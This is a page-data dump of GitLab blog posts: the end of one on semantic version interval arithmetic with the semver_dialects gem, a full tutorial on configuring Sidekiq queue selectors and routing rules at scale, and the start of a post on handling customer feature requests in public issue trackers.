VersionParser.parse(\">=2, \u003C=5\").intersect(VersionParser.parse(\">=7, \u003C=10\"))\n# empty\n```\n\nThe intersection operation is useful to perform semantic version matching\nfor checking whether semantic version falls into a certain version interval\nor range. For instance we may want to check whether version `1.2.3` satisfies\nthe constraint `>=1.0.0, \u003C1.2.4`. In the context of [Dependency Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/), these types of\nconstraints are very common. The problem `1.2.3` ∈ `[1.0.0, 1.2.4)` can be\ntranslated to a set intersection: `[1.2.3, 1.2.3]` ∩ `[1.0.0, 1.2.4)` =\n`[1.2.3, 1.2.3]`  which returns a non-empty set and, hence, tells us that\nversion `1.2.3` satisfies the given version constraints.\n\nIn the context of our advisory generation process, we use intersection to\ncross-validate versions from vulnerability reports (CVEs) with versions of the\navailable package that are available on the package registry that serves it.\n\nFor convenience, as mentioned earlier, [semver_dialects](https://gitlab.com/gitlab-org/vulnerability-research/foss/semver_dialects) also supports grouping\nintervals into ranges by means of the `VersionRange` class. A range is a set of intervals\nwhich we denote with `{I0, I1, ..., IN}` where `I` denotes version intervals\ndelimited by `,` which can be interpreted as a union operator (explained in the next section).\n\nA range is a set of intervals. In the example below, we first create a range\n`r1` to which we are adding two intervals: `r1 = {[2.2.1, 5.1.2], (3.1, 10)}`.\nAfter that, there is a check for an overlap (i.e., an intersection) between\n`r1` and `[0, 2.1)` (no overlap) as well as `[5.5, 5.5]` (overlap). You can see\nthe output of [semver_dialects](https://gitlab.com/gitlab-org/vulnerability-research/foss/semver_dialects) in the excerpt below.\n\n``` ruby\nr1 = VersionRange.new\nr1.add(VersionParser.parse(\">=2.1.2, \u003C=5.1.2\"))\nr1.add(VersionParser.parse(\">3.1, \u003C10\"))\n\nputs \"[0,2.1) in #{r1}? #{r1.overlaps_with?(VersionParser.parse(\">=0, \u003C2.1\"))}\"\n# [0,2.1) in [2.1.2,5.1.2],(3.1,10)? false\nputs \"[5.5,5.5] overlap with #{r1}? #{r1.overlaps_with?(VersionParser.parse(\"=5.5\"))}\"\n# [5.5,5.5] overlap with [2.1.2,5.1.2],(3.1,10)? true\n```\n\n### Union\n\nThe recipe below illustrates how the union (`X` ∪ `Y`) can be computed.\n\n`X` ∪ `Y` = if `X` and `Y` have points in common `{[min(x_l,y_l), max(x_u,y_u)]}` else `{X,Y}`\n\nThe code snippet below shows how the union can be computed with\n [semver_dialects](https://gitlab.com/gitlab-org/vulnerability-research/foss/semver_dialects) for the two examples:\n1. `[2,5]` ∪ `[3,10]` = `{[2,5], [3,10]}` = `{[2, 10]}`\n2. `[2,5]` ∪ `[7,10]` = `{[2,5], [7,10]}`\n\nWith the union operator, we can collapse version intervals in case they have an\noverlap/intersection; otherwise, if `X` and `Y` are disjoint, we add their\nintervals directly to the range.\n\n``` ruby\n# 1. [2,5] ∪ [3,10] = [2, 10]\nputs \"union: #{VersionParser.parse(\">=2, \u003C=5\").union(VersionParser.parse(\">=3, \u003C=10\"))}\"\n# union: [2,10]\n\n# Version ranges perform union two for the purpose of automatically collapsing\n# intervals (if possible)\nr1 = VersionRange.new\nr1.add(VersionParser.parse(\">=2, \u003C=5\"))\nr1.add(VersionParser.parse(\">=3, \u003C=10\"))\nputs \"r1: #{r1}\"\n# union: [2,5],[3,10]\nputs \"r1 collapsed: #{r1.collapse}\" # creates the union between intervals\n# r1 collapsed: [2,10]\n\n# 2. [2,5] ∪ [7,10] = {[2, 10], [7,10]}\nr2 = VersionRange.new\nr2.add(VersionParser.parse(\">=2, \u003C=5\"))\nr2.add(VersionParser.parse(\">=7, \u003C=10\"))\nputs \"r2: #{r2}\"\n# r2: [2,5],[7,10]\n```\n\nIn the context of [Dependency Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/), vulnerability data usually lists a set of intervals for\ndependencies that are susceptible to a given vulnerability like the [tensorflow example](https://nvd.nist.gov/vuln/detail/CVE-2021-29560) in the introduction where the following versions are affected:\n\n1. up to 2.1.4\n1. from 2.2.0 up to 2.2.3\n1. from 2.3.0 up to 2.3.3\n1. from 2.4.0 up to 2.4.2\n\nThis list of intervals can be represented as a single range (`VersionRange`) by\ncombining all of the mentioned version intervals through the union operator.\n\nIn the Ruby code example above, you can also see the `collapse` method which is\ninvoked on a `VersionRange` object. This method automatically collapses\noverlapping intervals that are included in the same `VersionRange` to eliminate\nredundant intervals. Collapsing the range `{[2, 5], [3, 10]}` yields a new range\n`{[2,10]}` with only one interval while preserving semantic equivalence.\n\n### Complement\n\nThe recipe below, illustrates how the relative complement (`X` - `Y`) can be computed.\n\n`X` - `Y`: `Z` := `X` ∩ `Y`;\n        if (`z_l` > `x_l` && `z_u` \u003C `x_u`)\n          `{[x_l, z_l),(z_u, x_u]}`\n        else if (`x_l` \u003C `z_l`)\n          `{[x_l, z_l)}`\n        else if (`x_u` > `z_u`)\n          `{(z_u, x_u]}`\n\nIntuitively, this recipe computes the intersection (`Z`) between `X` and `Y` and\nremoves all elements from `X` that are included in the intersection. The\nexamples below illustrate the recipe:\n\n1. `[3, 5]` - `[1, 3]`: with `Z` = `[3, 3]` we get `{(3, 5]}` which is\n   equivalent to `{[4, 5]}`\n1. `[3, 10]` - `[10, 11]`: with `Z` = `[10, 10]` we get `{[3, 10)}` which is equivalent to `{[3, 9]}`\n1. `[1, 5]` - `[2, 2]`: with `Z` = `[2, 2]` we get `[1, 2), (2, 5]` which is equivalent to `{[1, 1], [3, 5]}`\n\nWith the recipe above, we can also compute the absolute complement `X` - `Y` by\nassuming `X` is the universe that captures the entirety of all possible values:\n`(-inf,+inf)`. The universal complement can be defined as `~X` = `(-inf,+inf)` - `X`.\n\nWith [semver_dialects](https://gitlab.com/gitlab-org/vulnerability-research/foss/semver_dialects), the absolute complement can be computed by means of the\n`invert` method as illustrated in the example below.\n\n``` ruby\n# example 1: ~[1,3] = {(-inf,0],[4, +inf)} = {(-inf,1),(3,+inf)}\nr1 = VersionRange.new\nr1.add(VersionParser.parse(\">=1, \u003C=3\"))\nputs r1.invert\n# (-inf,1),(3,+inf)\n\n# example 2: ~{[2.1.2, 5.1.2], (3.1, 10)} = ~{[2.1.2, 10)} = {(-inf,2.1.2),[10,+inf)}\n{(-inf,0],[4, +inf)} = {(-inf,1),(3,+inf)}\nr2 = VersionRange.new\nr2.add(VersionParser.parse(\">=2.1.2, \u003C=5.1.2\"))\nr2.add(VersionParser.parse(\">3.1, \u003C10\"))\nputs r2.collapse.invert\n# (-inf,2.1.2),[10,+inf)\n```\n\nIn the context of [Dependency Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/), this functionality is used to automatically infer\nnon-affected versions from the affected versions information: if `[1, 3]`\nrepresents all the affected versions of a vulnerable package, its complement\n`{(-inf,1),(3,+inf)}`, per definition, captures only the unaffected version. In\nour advisory generation process we cross-validate the version information of\npackages from the package registries with this information about unaffected versions to check whether or not unaffected packages are available; if this is the case, we add the corresponding remediation information to the generated advisories.\n\n## Version Translation\n\nLinear interval arithmetic provides us with all the means necessary to\nrepresent and solve SemVer versioning constraints in a language-agnostic way.\nHowever, in order to leverage the generic representation, we have to be able to\nautomatically translate the native semantic version dialects into the generic\nrepresentation and vice versa. The details of this translation functionality\nare provided below.\n\n[Semver_dialects](https://gitlab.com/gitlab-org/vulnerability-research/foss/semver_dialects) offers a `VersionTranslator` class. The `VersionTranslator` takes a native semantic version constraint, and translates\nit into an intermediate string representation that can then be translated into a range (`VersionRange`) by using the `VersionParser`. Currently semver_dialects supports all the syntax listed below by invoking\n`translate_\u003Cpackage_type>` where `\u003Cpackage_type>` is one of:\n\n- `gem`: [gem requirement](https://guides.rubygems.org/specification-reference/#add_runtime_dependency)\n- `maven`: [Maven Dependency Version Requirement Specification](https://maven.apache.org/pom.html#Dependency_Version_Requirement_Specification)\n- `npm`: [node-semver](https://github.com/npm/node-semver#ranges)\n- `packagist`: [PHP Composer version constraints](https://getcomposer.org/doc/articles/versions.md#writing-version-constraints)\n- `pypi`: [PEP440](https://www.python.org/dev/peps/pep-0440/#version-specifiers)\n- `go`: [go semver](https://godoc.org/golang.org/x/tools/internal/semver)\n- `nuget`: [NuGet semver](https://docs.microsoft.com/en-us/nuget/concepts/package-versioning)\n- `conan`: [node-semver flavour](https://github.com/npm/node-semver#ranges)\n\nThe example below illustrates how the [semver_dialects](https://gitlab.com/gitlab-org/vulnerability-research/foss/semver_dialects)' `VersionTranslator` can\nbe used to translate native version syntax to an intermediate representation.\nThe `VersionTranslator` parses the native version syntax and translates it into\na common format. In the example below, you can further see that both\nnative, semantically equivalent but syntactically different version strings for\npackagist and maven are translated into a common format: a string array\nwhere a single array entry represents a conjunct of the semantic version\nconstraints. This translation step removes all language-specific features\nfrom the native semantic version constraints.\n\n``` ruby\n# native packagist version constraint syntax\nvs_packagist = \"\u003C2.5.9||>=2.6.0,\u003C2.6.11\"\n# native maven version constraint syntax\nvs_maven = \"(,2.5.9),[2.6.0,2.6.11)\"\n\n# translate\nputs VersionTranslator.translate_packagist(vs_packagist).to_s\n# [\"\u003C2.5.9\", \">=2.6.0 \u003C2.6.11\"]\nputs VersionTranslator.translate_maven(vs_maven).to_s\n# [\"\u003C2.5.9\", \">=2.6.0 \u003C2.6.11\"]\n```\n\nThis common format can then be translated to a version interval by means of\n`VersionParser` and `VersionRange`. The example below illustrates how the\nversion interval `constraint` is generated by iterating over the array elements\nof our intermediate representation, translating them to intervals and adding\nthese intervals to the `VersionRange` object `constraint`. At the end of the\nexcerpt below, we check whether version `1.0.0` satisfies the version\nconstraint `\u003C2.5.9||>=2.6.0,\u003C2.6.11` which correctly yields `true`.\n\n``` ruby\n# translate native maven version constraint to range of interval\nconstraint = VersionRange.new\nVersionTranslator.translate_maven(vs_maven).each do |version_string|\n  constraint \u003C\u003C VersionParser.parse(version_string)\nend\n\nputs constraint.overlaps_with?(VersionParser.parse('=' + '1.0.0'))\n# true\n```\n\n## Wrapping it up\n\nWe discussed the fragmentation of SemVer versioning which poses a challenge\nwhen building automation around semantic version processing for\nmulti-language/ecosystem applications. In this blog post, we used our internal\nsemi-automated process for advisory generation as an example.\n\nWe illustrated how we tackled the above-mentioned challenge by building a\ngeneric/language-agnostic semantic version approach based on linear interval\narithmetic. All mechanisms discussed in this blog post are implemented in the open-sourced (MIT)\n[semver_dialects](https://gitlab.com/gitlab-org/vulnerability-research/foss/semver_dialects) implementation and published on [rubygems.org](https://rubygems.org/gems/semver_dialects).\n",[674,4103,815],{"slug":17204,"featured":6,"template":678},"generic-semantic-version-processing","content:en-us:blog:generic-semantic-version-processing.yml","Generic Semantic Version Processing","en-us/blog/generic-semantic-version-processing.yml","en-us/blog/generic-semantic-version-processing",{"_path":17210,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17211,"content":17217,"config":17221,"_id":17223,"_type":16,"title":17224,"_source":17,"_file":17225,"_stem":17226,"_extension":20},"/en-us/blog/how-to-configure-sidekiq-for-gitlab-at-scale",{"title":17212,"description":17213,"ogTitle":17212,"ogDescription":17213,"noIndex":6,"ogImage":17214,"ogUrl":17215,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17215,"schema":17216},"How to configure Sidekiq for specialized or large-scale GitLab instances","This tutorial unpacks how to configure Sidekiq that suits your GitLab deployment.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667068/Blog/Hero%20Images/sidekiqmountain.jpg","https://about.gitlab.com/blog/how-to-configure-sidekiq-for-gitlab-at-scale","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to configure Sidekiq for specialized or large-scale GitLab instances\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Craig Miskell\"}],\n        \"datePublished\": \"2021-09-27\",\n      }",{"title":17212,"description":17213,"authors":17218,"heroImage":17214,"date":17219,"body":17220,"category":734},[9051],"2021-09-27","\nConfiguring Sidekiq in your own deployment of GitLab is a little complicated, but entirely possible. In this blog post, we share how to set up Sidekiq for GitLab in special cases and at a large scale by sharing some exmaples that may be useful to you.\n\n## Why consider special configuration?\n\nWhile Sidekiq (both in general, and in a GitLab deployment) will usually _just work_ most of the time, there can be some sharp edges and limits. Raw scale is a clear and obvious driver for needing to take action, and although it may be fine to simply scale out multiple Sidekiq nodes each listening to all the queues, at some point:\n\n1. The uniqueness of workload distribution and job characteristics may require dedicated workers, either sharded on job attributes (as for GitLab.com), or specific workers (based on your workloads), or\n1. Simple saturation on Redis means you need to listen to fewer queues\n\n**[We share [all we learned about configuring Sidekiq on GitLab.com](/blog/specialized-sidekiq-configuration-lessons-from-gitlab-dot-com/)]**\n\n### Example: Demo systems\n\nIn early 2021, our Demo Systems team were running a GitLab deployment for training purposes. Many users would join a training session where the first task was to import a sample project into the provided GitLab instance to work on further during the class. Imports are implemented with a Sidekiq job because they can take anything from a few seconds to hours. What the Demo Systems team found was that the default Sidekiq configuration simply couldn't keep up. The deployment wasn't huge, and neither was the user count, it was the very specific usage of the system that ran into difficulties. So, the team split off a dedicated Sidekiq VM for running imports, with suitably tuned concurrency (based on CPU contention), CPU + memory, and number of workers.\n\n**[[Discover how we scaled our use of Sidekiq on a GitLab instance](/blog/scaling-our-use-of-sidekiq/)]**\n\nThe key lesson here is that large scale isn't always the driver for customizing Sidekiq configuration, and the reason may be specific to your workloads, which means first you have to be able to identify the pain points.\n\n### Using metrics to identify problems\n\n{: #using-metrics-to-identify-problems}\nUser experience may tell you something isn't going well, but how do you tell where the actual problem lies? The GitLab UI exposes the Sidekiq UI to administrators, at `/admin/background_jobs` – in the 'Queues' tab, you can see how many jobs are currently pending, and a breakdown by queue. However, that is a snapshot of a point-in-time, and stored metrics/graphs are better for long term visibility, particularly for figuring out what happened an hour ago when someone reported slow pipelines, or to debug that thing that happens twice a day but never when anyone is watching.\n\nTo get some visibility, consider installing [gitlab-exporter](https://gitlab.com/gitlab-org/gitlab-exporter/) on (or pointed to) your Redis nodes, with:\n\n* `probe_queues` enabled to get the `sidekiq_queue_size` metric, and/or\n* `probe_jobs_limit` to get `sidekiq_enqueued_jobs`.\n\n`sidekiq_queue_size` reports the length of the all the Sidekiq queues in Redis (equivalent to the data exposed by the Sidekiq UI), but now it's exposed as a Prometheus metric for scraping and graphing. `sidekiq_enqueued_jobs` deserializes the job descriptions as well, meaning it can look inside a routing rule-based named queue with more than one class of jobs in it, and report the distribution of work by class. It has to limit (hence the name) the inspection to the first 1000 jobs in any given queue to contain the potential impact of blocking Redis with many calls to [LRANGE](https://redis.io/commands/lrange) with large responses. Usually this situation is fine. If you have > 1000 jobs in any given queue for a non-trivial amount of time, just knowing what's at the head of the queue is likely sufficient and `sidekiq_queue_size` will still show you the full magnitude of the backlog.\n\nIf we were to really simplify it - because there are always exceptions - both those metrics should be at or close to 0 most of the time. In practice, there's often small, brief spikes when batches of work land and cannot be processed immediately, and it may be quite acceptable for some large/slow jobs to be queued for some significant time (e.g., project exports). But a prolonged backlog (or perpetual growth) indicates some class of work is not being processed, either at all, or \"fast enough\" to keep up. If your team is encountering these problems, it might be time to customize your Sidekiq configuration.\n\nHowever the backlog in queues may not be the whole story – queuing might be occurring because all your Sidekiq workers are busy with long-running jobs, causing all the other jobs to stall. To observe that you need the `sidekiq_running_jobs` metric, which can be scraped from the [sidekiq exporter](https://docs.gitlab.com/ee/administration/monitoring/prometheus/gitlab_metrics.html#sidekiq-metrics). This is enabled by default on port 8082 for Omnibus, and 3807 in Kubernetes when using our helmcharts. Graphing `sum by (worker) (sidekiq_running_jobs)` will show you what your Sidekiq workers are actively up to right now, and may highlight which worker/queue is causing the problem.\n\nConsider also keeping an eye on your Redis CPU usage – on a modern CPU at smaller scales there's a lot of headroom, but if you're at the point of considering a specialized Sidekiq configuration, now is the time to add a little monitoring and alerting so it doesn't sneak up on you in the future. We use [Process Exporter](https://github.com/ncabatoff/process-exporter) inspecting the `redis-server` process, with `threads=true` (on the command line) to get per-thread details. In Prometheus we use `sum by (threadname) (rate(namedprocess_namegroup_thread_cpu_seconds_total[1m]))`. On Redis 6, the core thread is named 'redis-server'. As always, set your alert level so that you won't get false positives, but will have plenty of headway before saturation becomes a real problem.\n\n### How to customize your Sidekiq configuration\n\nAfter identifying one or more queues/workers that are backed up, the main task is to get more Sidekiq processing power deployed. As mentioned above, it may be sufficient to simply add one or more [Sidekiq nodes](https://docs.gitlab.com/ee/administration/sidekiq/index.html) or Sidekiq workload in Kubernetes, allowing you to listen to all the queues in a default configuration. If you choose this approach, make sure you're keeping an eye on Redis CPU per the [metrics](#using-metrics-to-identify-problems) above.\n\nAn alternative is to choose to provision some dedicated Sidekiq processing for just the problem work. It could even be said that any complex configuration of Sidekiq for GitLab is just the result of a series of these decisions, progressively adding dedicated processing for specific workloads with a \"catchall\" or \"default\" workload picking up the rest, so I'll describe just one such step and you can take it as far as you need.\n\nThere is a critical decision to make first, and that's whether to:\n\n1. use queue-selectors on the workers and continue with a queue per worker for all jobs, or\n1. use routing rules.\n\nAnd if using routing rules, decide whether to:\n\n1. Go entirely to one-queue-per-shard, or\n1. Use a mix of custom-named queues and the default worker-named queues.\n\nHaving worked in this area for a little over a year now, **I strongly recommend using routing rules and one-queue-per-shard** for the following reasons:\n\n1. Routing rules are more obvious in their effect/ordering than trying to configure disjointed sets of queues across Sidekiq workloads,\n1. Correlating the target queue names in routing rules with the names of queues listened to by workers is simpler,\n1. There is *far* less complexity in configuring the default/catchall workers,\n1. Load on Redis is significantly reduced with fewer named queues.\n\nIt may be easier to see why with an example. In the next section, we run through an example where we assume that you want to provide dedicated resources for `project_exports` because it sees heavy use, and Sidekiq is regularly spending all it's time on that. We'll skip the early phase and assume that you have identified from metrics that the queue name is project_export.\n\n#### Using queue-selectors only\n\nLet's say you want to continue to use one queue per worker and configure each Sidekiq workload to listen to a subset of jobs using queue selectors. The syntax and location for configuring queue selectors is available in our documentation under [Queue selector](https://docs.gitlab.com/ee/administration/sidekiq/extra_sidekiq_processes.html) and [Worker matcher query](https://docs.gitlab.com/ee/administration/sidekiq/processing_specific_job_classes.html) sections.\n\nAfter creating your new, dedicated Sidekiq workload, configure this in `gitlab.rb` on that workload:\n\n```ruby\nsidekiq['enable'] = true\nsidekiq['queue_selector'] = true\nsidekiq['queue_groups'] = [ 'name=project_export' ]\n```\n\nKeep in mind that this will only run one Sidekiq process which, while multithreaded with one job potentially executing on each thread, can only use one CPU – read up on [multiple processes](https://docs.gitlab.com/ee/administration/sidekiq/extra_sidekiq_processes.html) and [concurrency threading](https://about.gitlab.com/blog/specialized-sidekiq-configuration-lessons-from-gitlab-dot-com/) for a little more detail, but in short, if you had a 4 CPU VM and you wanted to run 4 project_export processes, you'd configure gitlab.rb like this:\n\n```ruby\nsidekiq['enable'] = true\nsidekiq['queue_selector'] = true\nsidekiq['queue_groups'] = [ 'name=project_export', 'name=project_export', 'name=project_export', 'name=project_export' ]\n```\n\nThis also reveals another approach. If your existing workload is running somewhere with spare CPU you could add processes with different sets of queues, gaining some control of workload prioritization without having to deploy new compute resources. For example:\n\n```ruby\nsidekiq['enable'] = true\nsidekiq['queue_selector'] = true\nsidekiq['queue_groups'] = [ 'name=project_export', 'name!=project_export' ]\n```\n\nThis may look a little odd at first glance, but it means that one process will be listening to `project_export`, and the other will be listening to every queue that _isn't_ project_export.\n\nA couple of caveats:\n\n1. Concurrency (threading) is set once in `gitlab.rb`, so all jobs running on that node will need to be compatible with that concurrency. Read up on [Concurrency (threading) in the previous blog post](/blog/specialized-sidekiq-configuration-lessons-from-gitlab-dot-com/) to learn more.\n1. Using the GitLab helmcharts, each pod only runs one process, so there you'd adjust maxReplicas instead.\n\nSpeaking of helmcharts, these have the queue-selector configured with the [`queues`](https://docs.gitlab.com/charts/charts/gitlab/sidekiq/#queues) attribute of the pod:\n\n```\nqueues: name=project_export\n```\n\nWhere, despite being named `queues`, it can take the full queue-selector expression.\n\nAfter these configurations, your new workload will be listening exclusively to the `project_export` queue/worker. But what is to stop your original workload from also running `project_export`? Absolutely nothing! A default/baseline workload of Sidekiq for GitLab will listen on all the queues. This **may** be acceptable in a simple case – you've provided additional capacity dedicated to the named queue, and occasionally those jobs will still run on the original Sidekiq. In practice, because of the way Sidekiq uses BRPOP with a randomized order of queues, and how Redis distributes work when clients are already waiting on a named queue, the new dedicated workload will most likely pick up the **vast** majority of the work on that queue. But this may not isolate problem work as much as you desire. This could also lead to difficulty in reasoning clearly about what the system is going to do as your customization grows and becomes more specific. Therefore, I strongly recommend that you ensure the sets of queues are disjoint (that is, no overlap). The final step is to configure your original/default Sidekiq with either:\n\n```ruby\nsidekiq['enable'] = true\nsidekiq['negate'] = true\nsidekiq['queue_selector'] = true\nsidekiq['queue_groups'] = [ 'name=project_export' ]\n\n```\n\nor\n\n```ruby\nsidekiq['enable'] = true\nsidekiq['queue_selector'] = true\nsidekiq['queue_groups'] = [ \"name!=project_export\" ]\n```\n\nThen, as you add more customized workloads in future steps, you would extend the expression to exclude the work that is being picked up elsewhere, e.g., in the negate case if you had added a further workload executing only `feature_category=importers`:\n\n```ruby\nsidekiq['negate'] = true\nsidekiq['queue_groups'] = [ 'name=project_export&feature_category=importers' ]\n```\n\nThis is where setting `negate` to \"true\" can be better – this catchall/default expression can be a simple concatenation of the expressions used on every other workload, separated with `&`. The expression may end up complex, but it can be generated trivially with code. Not using negate and inverting the operators works for simple cases, but may run into difficulty expressing edge cases when the individual expressions become more nuanced or complicated.\n\n#### Use routing rules\n\nAnother option is to use [routing rules](https://docs.gitlab.com/ee/administration/sidekiq/processing_specific_job_classes.html) to achieve the same thing. First, add a new Sidekiq workload configured with:\n\n```ruby\nsidekiq['enable'] = true\nsidekiq['queue_selector'] = false # This is the default and is included only to be explicit\nsidekiq['queue_groups'] = [ 'export' ]\n```\n\nAs in the queue-selector approach, you can run more than one by repeating the expression in queue_groups:\n\n```ruby\nsidekiq['queue_groups'] = [ 'export', 'export', 'export', 'export' ]\n```\n\nWhen using [helm charts](https://docs.gitlab.com/charts/charts/gitlab/sidekiq/index.html#queues) it would be simply the following in the Sidekiq pod definition:\n\n```yaml\nqueues: name=export\n```\n\nThis is simply explicitly naming queues, but having made up an arbitrary named \"export\" rather than using a queue name derived from the job class. Next, and most importantly, add the following to `gitlab.rb` on **all** your workloads. In the queue-selector approach, we only had to configure the Sidekiq workload, but here we need to ensure that **everywhere that enqueues Sidekiq jobs has the routing rules** – meaning anywhere running the Rails portion of GitLab, i.e., puma (web) as well as Sidekiq:\n\n```ruby\nsidekiq['routing_rules'] = [\n  ['name=project_export', 'export'],\n  ['*', nil]\n]\n```\n\nAnd when using [helmcharts](https://docs.gitlab.com/charts/charts/globals.html#sidekiq-routing-rules-settings) deployment:\n\n```yaml\nglobal:\n  appConfig:\n    sidekiq:\n      routingRules:\n      - [\"name=project_export\", \"export\"]\n      - [\"*\", null]\n```\n\nSome caveats:\n\n1. You most likely want a workload listening to the new queue **before** reconfiguring the routing rules, otherwise jobs will be put into the queue with nothing ready to execute them.\n1. The destination name (`export`) is arbitrary, but must match exactly in Sidekiq queue configuration and the routing rules.\n1. In `gitlab.rb` we use \"nil\", but in YAML we must use \"null\".\n\nBy using null/nil as the target for `*` this example continues to use the default worker-per-queue strategy for all the other jobs. So you will have gained routing/prioritization control, but Redis will still be doing a lot of work to listen to the other 440+ queues. To avoid that, you can change the target of the final `*` routing rule to \"default\", e.g.\n\n```ruby\nsidekiq['routing_rules'] = [\n  ['name=project_export', 'export'],\n  ['*', 'default']\n]\n```\n\nIn this context \"default\" is literal. Conveniently there is a built-in 'default' queue that GitLab Sidekiq listens to, although nothing uses it out of the box. These rules will route all remaining jobs to that queue and the original/default Sidekiq workload will pick them up immediately. Then, at your convenience, you can reconfigure the original Sidekiq workload to listen **only** to \"default\" in the same way you configured the new workload to listen to \"export\", and gain the performance benefit in Redis.\n\n#### Edge cases\n\nThe routing rules example above is simplified slightly for clarity. In practice there are still a small set of queues that need to remain in their **original** dedicated named queue for a variety of reasons. We're working on resolving the blockers, but that may take a while to work through. You can follow along in [this issue](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1087), or you can keep an eye on the routingRules [configuration for GitLab.com](https://gitlab.com/gitlab-com/gl-infra/k8s-workloads/gitlab-com/-/blob/master/releases/gitlab/values/gprd.yaml.gotmpl) – special cases will be at the very top of the rules, routed by worker_name or name, and there will be a comment about why and a link to any related issues, which will help you determine if each is relevant to your needs. Some special cases may be there for GitLab.com-specific reasons and may not be generally applicable. In the long term we expect the list of special cases to reduce, not increase.\n\nAlso take into consideration that the special cases may be used for features that you do not use. Specifically:\n\n1. EmailReceiverWorker & ServiceDeskEmailReceiverWorker are for [Incoming email](https://docs.gitlab.com/ee/administration/incoming_email.html)\n1. ProjectImportScheduleWorker is for project mirroring\n\nSo you might be able to just ignore them, or route them to a queue that no worker is listening to and alert if `sidekiq_queue_size` is above zero on those queues.\n\n### Migrating when using routing rules\n\nThere is one more thing to note. When migrating an active GitLab deployment (rather than configuring this from scratch on a fresh GitLab deployment) the order of steps taken is important, and there's one additional step I haven't mentioned yet:\n\n1. Ensure a Sidekiq workload is listening to the new queues\n1. Change the routing rules\n1. Run the Sidekiq job migration [Rake task](https://docs.gitlab.com/ee/administration/sidekiq/sidekiq_job_migration.html)\n   * Any jobs that are scheduled for the future will be migrated to the new queue for correct execution\n1. Stop listening to queues that are no longer in use\n\nThese steps will ensure a clean migration. If you do not do step 3, then at future times deferred jobs will be picked up out of their holding place in Redis and might be scheduled to a queue that no Sidekiq is listening to anymore. This is exactly the process we took on GitLab.com when migrating our configuration to one queue per shard.\n\n## Simplifying complex Sidekiq configurations\n\nAny complicated Sidekiq configuration can be broken down into a series of these individual migrations, identifying (using metrics) queues or workers that need specialized handling, spinning up a workload to run them, and then sending/routing the jobs to this new workload.\n\nCover image by [Jerry Zhang](https://unsplash.com/@z734923105) on [Unsplash](https://www.unsplash.com)\n{: .note}\n",{"slug":17222,"featured":6,"template":678},"how-to-configure-sidekiq-for-gitlab-at-scale","content:en-us:blog:how-to-configure-sidekiq-for-gitlab-at-scale.yml","How To Configure Sidekiq For Gitlab At Scale","en-us/blog/how-to-configure-sidekiq-for-gitlab-at-scale.yml","en-us/blog/how-to-configure-sidekiq-for-gitlab-at-scale",{"_path":17228,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17229,"content":17234,"config":17239,"_id":17241,"_type":16,"title":17242,"_source":17,"_file":17243,"_stem":17244,"_extension":20},"/en-us/blog/best-practices-customer-feature-request",{"title":17230,"description":17231,"ogTitle":17230,"ogDescription":17231,"noIndex":6,"ogImage":12013,"ogUrl":17232,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17232,"schema":17233},"How to incorporate private customer needs into a public product roadmap","We've had lots of experience documenting and tracking private customer feature requests effectively. Here's our best advice and how to get the most out of GitLab issues and issue trackers.","https://about.gitlab.com/blog/best-practices-customer-feature-request","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to incorporate private customer needs into a public product roadmap\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Christina Hupy, Ph.D.\"},{\"@type\":\"Person\",\"name\":\"Neil McCorrison\"}],\n        \"datePublished\": \"2021-09-23\",\n      }",{"title":17230,"description":17231,"authors":17235,"heroImage":12013,"date":17236,"body":17237,"category":734,"tags":17238},[14215,16723],"2021-09-23","\n\nEffectively communicating a customer’s private needs to product teams is essential to a product’s success, but it can be a tricky undertaking.\n\nTeams can face several challenges in communicating and tracking customers' requests, including protecting customer confidentiality, tracking priority and progress, and making sure the product team is getting actionable feedback that can be incorporated into product milestones.\n\nThis blog post shares GitLab's best practices and lessons learned, as well as a video conversation between GitLab CEO [Sid Sijbrandij](/company/team/#sytses) and Fleet CEO [Mike McNeil](https://www.linkedin.com/in/mikermcneil/).\n\nIn line with GitLab's [open core model](/company/stewardship/) and [transparency value](https://handbook.gitlab.com/handbook/values/#transparency), our product roadmap is public and the product team uses [public issue trackers](/gitlab-com/Product/-/issues) for feature requests and to plan the work. Because the issues are public, customers and community members can see how the product team works, what direction we are headed, and what the priorities are. Contributors can even decide to create a feature themselves.\n\nEver wonder what a DevOps Platform could do for your team? [Here's what you need to know](/solutions/devops-platform/)\n\nWhen a customer indicates a feature request to a technical account manager (TAM), the manager searches for the relevant open feature request in the product teams' issue tracker and adds a comment with generic details about the customer such as number of users and product. If an issue for that feature request does not already exist, the technical account manager can create an issue with the [Feature Proposal](https://gitlab.com/gitlab-org/gitlab/-/issues/new?issuable_template=Feature%20Proposal%20-%20lean) issue template then and add the customer’s request as a comment.\n\nFor example, the comment should include the following:\n\n> Hello `@product-manager`,  an Ultimate customer with 1500 users (`salesforce-link`) would like to see this feature prioritized, ideally within the next 6 months. They need this feature in order to X, which is important to them because Y, and they do not currently have a workaround. Additionally, releasing this feature would result in an estimated 250 additional users.\n\nThe TAM includes a link to the account in the customer relationship management system (CRM), in GitLab’s case Salesforce, so the internal teams can view the details. We even have a [feedback template](/handbook/product/how-to-engage/#feedback-template) to ensure the proper details are captured in the comment. The comment is public but the record in the CRM is private.\n\nThe product manager reviews the request and responds. Relevant [labels](/handbook/customer-success/csm/product/#priority-of-feature-requests) are added based on priority. For example, labels include **critical requests**, **high-priority requests**, **low priority requests** or **promised to a customer**. Milestones can be assigned to track timelines and make sure the feature ships on time. The feature tracking issue should be maintained regularly and acts as the single source of truth on the customer needs. These issues can also be reviewed for metrics on previously delivered feature requests.\n\n**Elevating your DevOps skills? Join us at [Commit at KubeCon - Oct. 11!](/events/commit/)**\n\nIn this case, a noisy feature request issue with comments from customers is a good thing. It helps the product manager directly see where the action is and how customers would benefit, and it also helps when prioritizing what feature ships next. Seeing direct input from the customers provides context and also creates developer empathy and connection with the end user. Additional team members, including [solution 